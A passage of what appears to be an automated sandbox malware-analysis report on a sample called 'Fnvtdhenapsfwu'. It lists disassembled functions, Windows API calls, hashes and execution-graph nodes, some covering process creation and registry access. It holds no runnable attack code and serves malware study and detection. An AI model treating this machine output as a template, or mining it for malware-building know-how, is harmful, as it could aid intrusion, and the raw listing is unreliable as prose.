                                    • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CB43E7,?,?,02CED7C8,?,?,02CD97A8,02CB6575,02CD8305), ref: 02CB4359
                                    • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CB43E7,?,?,02CED7C8,?,?,02CD97A8,02CB6575,02CD8305), ref: 02CB435F
                                    • GetStdHandle.KERNEL32(000000F5,02CB43A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CB43E7,?,?,02CED7C8), ref: 02CB4374
                                    • WriteFile.KERNEL32(00000000,000000F5,02CB43A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02CB43E7,?,?), ref: 02CB437A
                                    • MessageBoxA.USER32 ref: 02CB4398
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FileHandleWrite$Message
                                    • String ID: Error$Runtime error at 00000000
                                    • API String ID: 1570097196-2970929446
                                    • Opcode ID: e457dec23e6fa5726a069c68b0e29e0ec67b19cdd3236aef39c81f159fa950f4
                                    • Instruction ID: acfd5f9456f8ef3d5a53a04e6c4322fd2493186d4160caf8cd3f3bc1b14c484f
                                    • Opcode Fuzzy Hash: e457dec23e6fa5726a069c68b0e29e0ec67b19cdd3236aef39c81f159fa950f4
                                    • Instruction Fuzzy Hash: BBF090A1AC8344B8FE66B6A0AC66FFD275C6F84B15F184B15B2289D0C2C7F054C0A721
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBAEA8 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 02CBAD20: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02CBAD3D
                                      • Part of subcall function 02CBAD20: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02CBAD61
                                      • Part of subcall function 02CBAD20: GetModuleFileNameA.KERNEL32(02CB0000,?,00000105), ref: 02CBAD7C
                                      • Part of subcall function 02CBAD20: LoadStringA.USER32 ref: 02CBAE12
                                    • CharToOemA.USER32 ref: 02CBAEDF
                                    • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02CBAEFC
                                    • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02CBAF02
                                    • GetStdHandle.KERNEL32(000000F4,02CBAF6C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02CBAF17
                                    • WriteFile.KERNEL32(00000000,000000F4,02CBAF6C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02CBAF1D
                                    • LoadStringA.USER32 ref: 02CBAF3F
                                    • MessageBoxA.USER32 ref: 02CBAF55
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                    • String ID:
                                    • API String ID: 185507032-0
                                    • Opcode ID: d51e1887c2f8e698ea3c8a83a2812059b8f1b0e7b9ee4444350cb0d1e1d8574e
                                    • Instruction ID: c3377d0dc8d77b03f0610c01d2876295f70d0e9b9cedd1c09f24011f404a219b
                                    • Opcode Fuzzy Hash: d51e1887c2f8e698ea3c8a83a2812059b8f1b0e7b9ee4444350cb0d1e1d8574e
                                    • Instruction Fuzzy Hash: 341170B2584204BED602FBA4CC85FDB77EDAF44300F500A15B754EA0E0DB75E944DB62
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBE570 Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                    Download Yara Rule
                                    APIs
                                    • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02CBE609
                                    • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02CBE625
                                    • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02CBE65E
                                    • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02CBE6DB
                                    • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02CBE6F4
                                    • VariantCopy.OLEAUT32(?,00000000), ref: 02CBE729
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                    • String ID:
                                    • API String ID: 351091851-0
                                    • Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                    • Instruction ID: 6667ba32556c86dc3d295874778328e9d6a6a9cf1226bd5f95840d0112e352f9
                                    • Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                    • Instruction Fuzzy Hash: C551E87590062D9FCB22DB68CC90BD9B3BDAF4C700F4441D5EA09E7211DA30AF859F62
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB355C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02CB357E
                                    • RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02CB35CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02CB35B1
                                    • RegCloseKey.ADVAPI32(?,02CB35D4,00000000,?,00000004,00000000,02CB35CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02CB35C7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: CloseOpenQueryValue
                                    • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                    • API String ID: 3677997916-4173385793
                                    • Opcode ID: c552961d44cf31e99aeb1b95728855946eff4e9762056a5601dc8cee2276b4ee
                                    • Instruction ID: b6d87550b2cb05bb712a93f36a6afbcf51dbd35ad39806bf970535a697e3507c
                                    • Opcode Fuzzy Hash: c552961d44cf31e99aeb1b95728855946eff4e9762056a5601dc8cee2276b4ee
                                    • Instruction Fuzzy Hash: 2E01B575E80298BAEB12DB909C42FFAB3ECEF09700F5005A1BA04D7580E674A614DB55
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBAA34 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetThreadLocale.KERNEL32(?,00000000,02CBAACB,?,?,00000000), ref: 02CBAA4C
                                      • Part of subcall function 02CBA7A8: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02CBA7C6
                                    • GetThreadLocale.KERNEL32(00000000,00000004,00000000,02CBAACB,?,?,00000000), ref: 02CBAA7C
                                    • EnumCalendarInfoA.KERNEL32(Function_0000A980,00000000,00000000,00000004), ref: 02CBAA87
                                    • GetThreadLocale.KERNEL32(00000000,00000003,00000000,02CBAACB,?,?,00000000), ref: 02CBAAA5
                                    • EnumCalendarInfoA.KERNEL32(Function_0000A9BC,00000000,00000000,00000003), ref: 02CBAAB0
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Locale$InfoThread$CalendarEnum
                                    • String ID:
                                    • API String ID: 4102113445-0
                                    • Opcode ID: ecc500fcc412f6d28699fff94a264a2d5977bb364ae32a7b6cc36197eb088731
                                    • Instruction ID: 10ebda9286716ce78a0da4132b46d17168596c3d7d3a3bab1e4666499c7d2368
                                    • Opcode Fuzzy Hash: ecc500fcc412f6d28699fff94a264a2d5977bb364ae32a7b6cc36197eb088731
                                    • Instruction Fuzzy Hash: 7E01A271A402187BF713AAB4CD12FDB726DDF46B20F610560E591A66C0E6749E00AAB4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBAAE4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetThreadLocale.KERNEL32(?,00000000,02CBACB4,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02CBAB13
                                      • Part of subcall function 02CBA7A8: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02CBA7C6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Locale$InfoThread
                                    • String ID: eeee$ggg$yyyy
                                    • API String ID: 4232894706-1253427255
                                    • Opcode ID: 2cac1a33404e89bbb18131e0647c10a6ba120d57c7ce39abc3bab61075a4f853
                                    • Instruction ID: a481b4d5d5485ad607f07a7626bcb126975b461da302e8f20f5e6db41a7fb284
                                    • Opcode Fuzzy Hash: 2cac1a33404e89bbb18131e0647c10a6ba120d57c7ce39abc3bab61075a4f853
                                    • Instruction Fuzzy Hash: 9341F4707089044BC72BABB989A02FEB3ABEFC5302F544526D4D1D7745DA36DE02EA61
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBC458 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetModuleHandleA.KERNEL32(kernel32.dll,?,02CD810B,00000000,02CD811E), ref: 02CBC45E
                                    • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02CBC46F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: AddressHandleModuleProc
                                    • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                    • API String ID: 1646373207-3712701948
                                    • Opcode ID: 3a006dbc16189ce2addc2de1810f891a2587ade84650f7b774b0ec4bd2290697
                                    • Instruction ID: 4b9e384dadd071344d978166d5f6f986f6348d95f5c826f550cf667bb8985aa4
                                    • Opcode Fuzzy Hash: 3a006dbc16189ce2addc2de1810f891a2587ade84650f7b774b0ec4bd2290697
                                    • Instruction Fuzzy Hash: 2FD05EB4A813005EEA026AB19C807B7228C8F48B04F404566E001A6202C6B18B104F99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBE1CC Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                    Download Yara Rule
                                    APIs
                                    • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02CBE27B
                                    • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02CBE297
                                    • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02CBE30E
                                    • VariantClear.OLEAUT32(?), ref: 02CBE337
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: ArraySafe$Bound$ClearIndexVariant
                                    • String ID:
                                    • API String ID: 920484758-0
                                    • Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                    • Instruction ID: c02d7a6db4f6b65bdfcc64c7365f699122d334fcafb6a15696ca861252ef2290
                                    • Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                    • Instruction Fuzzy Hash: F7411A75A016299FCB62DF58CC90BC9B3FDAF48B14F4041D5E649E7211DA30AF809F61
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBAD20 Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02CBAD3D
                                    • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02CBAD61
                                    • GetModuleFileNameA.KERNEL32(02CB0000,?,00000105), ref: 02CBAD7C
                                    • LoadStringA.USER32 ref: 02CBAE12
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FileModuleName$LoadQueryStringVirtual
                                    • String ID:
                                    • API String ID: 3990497365-0
                                    • Opcode ID: 6951b76e03c8521182ab0c6fa42e3ec17e33e38411c6e4114cb88f331b5f0b6a
                                    • Instruction ID: b28e85ffb11f3e9713f23e8d5d74a2058c54a9b782753c1f1100fc540608bcea
                                    • Opcode Fuzzy Hash: 6951b76e03c8521182ab0c6fa42e3ec17e33e38411c6e4114cb88f331b5f0b6a
                                    • Instruction Fuzzy Hash: 1F414D71A402589FDB22DB68CC84BDAB7FDAF08301F0441E5A588E7251DB749F84DF60
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CBAD1E Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 02CBAD3D
                                    • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02CBAD61
                                    • GetModuleFileNameA.KERNEL32(02CB0000,?,00000105), ref: 02CBAD7C
                                    • LoadStringA.USER32 ref: 02CBAE12
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: FileModuleName$LoadQueryStringVirtual
                                    • String ID:
                                    • API String ID: 3990497365-0
                                    • Opcode ID: 85185c2326df407e8144a43ca441f3218b1a3cc0334f305322e9b255d5a7251e
                                    • Instruction ID: 78fca22fbc218186eb61d899d0c0e2f89a3da08c602db3cb44578e85d933c02f
                                    • Opcode Fuzzy Hash: 85185c2326df407e8144a43ca441f3218b1a3cc0334f305322e9b255d5a7251e
                                    • Instruction Fuzzy Hash: 2A416F70A402989FDB22DB68CC84BDAB7FDAF08301F0401E5A588EB251DB749F84DF60
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3a5bbbfdb1c7df23f38b09e5b393e155fa1047fa667f7df8b0390f4c0053608d
                                    • Instruction ID: 0af0d4f10e0d9d0fdcdced2c85a7eae7b9df70bd7437f72a5658fe6fa5e72208
                                    • Opcode Fuzzy Hash: 3a5bbbfdb1c7df23f38b09e5b393e155fa1047fa667f7df8b0390f4c0053608d
                                    • Instruction Fuzzy Hash: B7A1D4667106400BD71BAA7C9CA43FDB3C6DFC4225F2C427EE11DCB281EBE58A529690
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CB94D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02CB95BE), ref: 02CB9556
                                    • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02CB95BE), ref: 02CB955C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: DateFormatLocaleThread
                                    • String ID: yyyy
                                    • API String ID: 3303714858-3145165042
                                    • Opcode ID: 1b2db5d8a4c954b843f545c12f3a7aa4c548bcfea09714fc7f3660e04f9d88f8
                                    • Instruction ID: 9fcf818ee2d164ce14e04a95e6262e3a05b5a40d15f8eacb02a04b78ab230bf4
                                    • Opcode Fuzzy Hash: 1b2db5d8a4c954b843f545c12f3a7aa4c548bcfea09714fc7f3660e04f9d88f8
                                    • Instruction Fuzzy Hash: A421A171A442189FDB16DFA8C851AEEB3B9EF48700F5101A6EA05E7240D730DF48DFA5
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 02CCA47C Relevance: 5.1, APIs: 4, Instructions: 72COMMON
                                    Download Yara Rule
                                    APIs
                                    • IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 02CCA4B0
                                    • IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 02CCA4E0
                                    • IsBadReadPtr.KERNEL32(?,00000008), ref: 02CCA4FF
                                    • IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 02CCA50B
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.217313359.0000000002CB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: true
                                    • Associated: 00000000.00000002.217309362.0000000002CB0000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000000.00000002.217337311.0000000002DE2000.00000004.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_2cb0000_Fnvtdhenapsfwu.jbxd
                                    Similarity
                                    • API ID: Read$Write
                                    • String ID:
                                    • API String ID: 3448952669-0
                                    • Opcode ID: 8dc9681325f767afc67ba9ff363cc9a8389bb3bae385d11ff475b99c37802e63
                                    • Instruction ID: e885b154bc4e843d94aee723cbab1fb2a37b6a8e5983ed504cfea3b8bc9c9f0c
                                    • Opcode Fuzzy Hash: 8dc9681325f767afc67ba9ff363cc9a8389bb3bae385d11ff475b99c37802e63
                                    • Instruction Fuzzy Hash: C621D37164021D9BDF21CF69CC88BAE73A9EF88361F209119FE1197380D734ED518BA4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Execution Graph

                                    Execution Coverage:3.5%
                                    Dynamic/Decrypted Code Coverage:100%
                                    Signature Coverage:3.8%
                                    Total number of Nodes:1190
                                    Total number of Limit Nodes:46
                                    execution_graph 47165 4347c7 47170 434a99 SetUnhandledExceptionFilter 47165->47170 47167 4347cc pre_c_initialization 47171 44549b 20 API calls 2 library calls 47167->47171 47169 4347d7 47170->47167 47171->47169 47172 426938 47173 42694d 47172->47173 47184 4269df 47172->47184 47174 426a96 47173->47174 47175 426a0f 47173->47175 47178 426a44 47173->47178 47179 42699a 47173->47179 47181 4269cf 47173->47181 47173->47184 47187 426a6f 47173->47187 47200 424e2f 49 API calls ctype 47173->47200 47174->47184 47205 4260a7 28 API calls 47174->47205 47175->47178 47175->47184 47203 41fabe 52 API calls 47175->47203 47178->47187 47204 425642 21 API calls 47178->47204 47179->47181 47179->47184 47201 41fabe 52 API calls 47179->47201 47181->47175 47181->47184 47202 424e2f 49 API calls ctype 47181->47202 47187->47174 47187->47184 47188 425a33 47187->47188 47189 425a52 ___scrt_fastfail 47188->47189 47191 425a61 47189->47191 47195 425a86 47189->47195 47206 41eb0d 21 API calls 47189->47206 47191->47195 47199 425a66 47191->47199 47207 42052a 46 API calls 47191->47207 47194 425a6f 47194->47195 47210 424c57 21 API calls 2 library calls 47194->47210 47195->47174 47197 425b09 47197->47195 47208 432e16 21 API calls new 47197->47208 47199->47194 47199->47195 47209 41d9b1 49 API calls 47199->47209 47200->47179 47201->47179 47202->47175 47203->47175 47204->47187 47205->47184 47206->47191 47207->47197 47208->47199 47209->47194 47210->47195 47211 4347d9 47212 4347e5 ___scrt_is_nonwritable_in_current_image 47211->47212 47238 4344e8 47212->47238 47214 4347ec 47216 434815 47214->47216 47543 43494b IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 47214->47543 47224 434854 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47216->47224 47249 4441a1 47216->47249 47220 434834 ___scrt_is_nonwritable_in_current_image 47221 4348b4 47257 434a66 47221->47257 47224->47221 47544 443356 36 API calls 5 library calls 47224->47544 47231 4348d6 47232 4348e0 47231->47232 47546 44338e 28 API calls _abort 47231->47546 47234 4348e9 47232->47234 47547 443331 28 API calls _abort 47232->47547 47548 43465f 13 API calls 2 library calls 47234->47548 47237 4348f1 47237->47220 47239 4344f1 47238->47239 47549 434bc1 IsProcessorFeaturePresent 47239->47549 47241 4344fd 47550 438e81 10 API calls 4 library calls 47241->47550 47243 434502 47248 434506 47243->47248 47551 44402e IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47243->47551 47245 43450f 47246 43451d 47245->47246 47552 438eaa 8 API calls 3 library calls 47245->47552 47246->47214 47248->47214 47251 4441b8 47249->47251 47553 434f3b 47251->47553 47252 43482e 47252->47220 47253 444145 47252->47253 47256 444174 47253->47256 47254 434f3b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47255 44419d 47254->47255 47255->47224 47256->47254 47561 436de0 47257->47561 47259 434a79 GetStartupInfoW 47260 4348ba 47259->47260 47261 4440f2 47260->47261 47563 44ef29 47261->47563 47263 4440fb 47265 4348c3 47263->47265 47567 4466e5 36 API calls 47263->47567 47266 40e913 47265->47266 47569 41caa2 LoadLibraryA GetProcAddress 47266->47569 47268 40e92f GetModuleFileNameW 47574 40f311 47268->47574 47270 40e94b 47589 4020f6 47270->47589 47273 4020f6 28 API calls 47274 40e969 47273->47274 47595 41bd6d 47274->47595 47278 40e97b 47621 401e8d 47278->47621 47280 40e984 47281 40e9e1 47280->47281 47282 40e997 47280->47282 47627 401e65 47281->47627 47893 40fb01 118 API calls 47282->47893 47285 40e9f1 47289 401e65 22 API calls 47285->47289 47286 40e9a9 47287 401e65 22 API calls 47286->47287 47288 40e9b5 47287->47288 47894 410e85 36 API calls __EH_prolog 47288->47894 47290 40ea10 47289->47290 47632 40531e 47290->47632 47293 40ea1f 47637 406383 47293->47637 47294 40e9c7 47895 40fab2 78 API calls 47294->47895 47297 40e9d0 47896 40f2fe 71 API calls 47297->47896 47304 401fd8 11 API calls 47306 40ee49 47304->47306 47305 401fd8 11 API calls 47307 40ea49 47305->47307 47545 443265 GetModuleHandleW 47306->47545 47308 401e65 22 API calls 47307->47308 47309 40ea52 47308->47309 47654 401fc0 47309->47654 47311 40ea5d 47312 401e65 22 API calls 47311->47312 47313 40ea76 47312->47313 47314 401e65 22 API calls 47313->47314 47315 40ea91 47314->47315 47316 40eafc 47315->47316 47897 406c1e 47315->47897 47318 401e65 22 API calls 47316->47318 47323 40eb09 47318->47323 47319 40eabe 47320 401fe2 28 API calls 47319->47320 47321 40eaca 47320->47321 47324 401fd8 11 API calls 47321->47324 47322 40eb50 47658 40cfb7 47322->47658 47323->47322 47329 413497 3 API calls 47323->47329 47325 40ead3 47324->47325 47902 413497 RegOpenKeyExA 47325->47902 47327 40eb56 47328 40e9d9 47327->47328 47661 41b215 47327->47661 47328->47304 47335 40eb34 47329->47335 47333 40eb71 47336 40ebc4 47333->47336 47678 407716 47333->47678 47334 40f29d 47980 4138f7 30 API calls 47334->47980 47335->47322 47905 4138f7 30 API calls 47335->47905 47339 401e65 22 API calls 47336->47339 47342 40ebcd 47339->47342 47341 40f2b3 47981 4123c3 65 API calls ___scrt_fastfail 47341->47981 47350 40ebd9 47342->47350 47351 40ebde 47342->47351 47345 40eb90 47906 407738 30 API calls 47345->47906 47346 40eb9a 47347 401e65 22 API calls 47346->47347 47360 40eba3 47347->47360 47348 40f2bd 47353 41bbb0 28 API calls 47348->47353 47909 407755 CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 47350->47909 47356 401e65 22 API calls 47351->47356 47352 40eb95 47907 407260 98 API calls 47352->47907 47357 40f2cd 47353->47357 47358 40ebe7 47356->47358 